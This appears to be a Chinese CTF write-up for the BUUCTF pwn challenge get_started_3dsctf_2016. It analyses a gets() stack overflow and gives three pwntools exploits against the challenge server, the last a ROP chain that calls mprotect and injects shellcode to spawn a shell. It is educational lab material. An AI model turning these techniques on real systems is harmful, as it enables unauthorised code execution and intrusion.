BUUCTF-PWN-get_started_3dsctf_2016
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位程序,小端序
开启部分RELRO-----got表仍可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
静态链接
Qual a palavrinha magica?
中文意思是
什么是神奇的词?
很奇怪,ida看一下伪代码
栈溢出,gets函数输入字符串给v4,未限制输入的大小
看一下栈区
这里的var_38就是v4的启始位置,距离返回地址(r所在位置)0x38字节
找一下后门函数
这里有个
v2 = fopen("flag.txt", "rt");
这个应该就是存放flag的文件,但需要先满足条件
a1 == 814536271 && a2 == 425138641
我们可以忽略这个条件,将返回地址直接覆盖为v2 = fopen(“flag.txt”, “rt”);的地址(0x80489b8)
exp
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little')
sh = remote('node4.buuoj.cn',27364)
flag = 0x80489bb
payload = flat(['a' * 0x38,p32(flag)])
sh.sendline(payload)
sh.interactive()
运行一下
失败了。。。。
换个思路,不绕开
a1 == 814536271 && a2 == 425138641
看一下a1,a2所在栈区位置
arg_0就是a1,arg_4就是a2,位于返回地址后面
再找一下exit地址(打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出。就通过exit函数正常退出)
exp
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug
sh = remote('node4.buuoj.cn',27364)
get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 814536271
a2 = 425138641
payload = flat(['a' * 0x38,p32(get_flag_addr),p32(exit_addr),a1,a2])
sh.sendline(payload)
sh.recvline()
获得flag
另一个思路
因为是静态链接的,所有的函数都会链接到程序,肯定会存在一个mprotect()函数
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似
题目虽然开了NX保护,但我们可以通过mprotect函数将内存页的权限修改为可读可写可执行
这里需要注意的是指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
所以我们选取的内存起始地址就是4k的整数倍
这里我们选取got表的起始地址(0x080EB000)为mprotect要修改的起始地址addr,将第二个参数len设为0x1000,第三个参数写为7(可读可写可执行)
mprotect函数地址(0x0806EC80)
用mprotect函数修改完权限后,再调用read函数将pwntools生成的shellcode代码注入到addr中,之后再将read函数返回地址写为addr地址,调用shellcode,获得shell
关于mprotect函数传参有点特殊,32位程序调用函数不需要寄存器传参,但是我们需要用ret来控制程序运行流程,
用工具 ROPgadget 随便选一个有三个寄存器加一个ret的gadget
这里选这个片段
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
exp
from pwn import *
sh = remote('node4.buuoj.cn',27364)
#sh = process('./get_started_3dsctf_2016')
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug
mprotect = 0x0806EC80
buf_addr = 0x80eb000 #要修改的内存页首地址
buf_size = 0x1000 #要修改的内存页大小
buf_prot = 0x7 #要修改的权限
pop_3_ret = 0x08063adb #寄存器传参外加ret返回read函数地址
#0x08063adb : pop edi ; pop esi ; pop ebx ; ret
read_addr = 0x0806E140
payload = b'a'*0x38
payload += p32(mprotect) #先将返回地址覆盖为mprotect函数地址
payload += p32(pop_3_ret) #通过三个寄存器传参再加上ret返回栈上下一个函数地址
payload += p32(buf_addr) #要修改的内存页首地址
payload += p32(buf_size) #要修改的内存页大小
payload += p32(buf_prot) #要修改的权限
payload += p32(read_addr) #ret返回栈上下一个函数地址为read函数地址
payload += p32(buf_addr) #read函数的返回地址
payload += p32(0) #read函数的第一个参数
payload += p32(buf_addr) #read函数的第二个参数
payload += p32(0x100) #read函数的第三个参数
sh.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
sh.sendline(shellcode) #read函数输入buf_addr的字符串
sh.interactive()
运行获得shell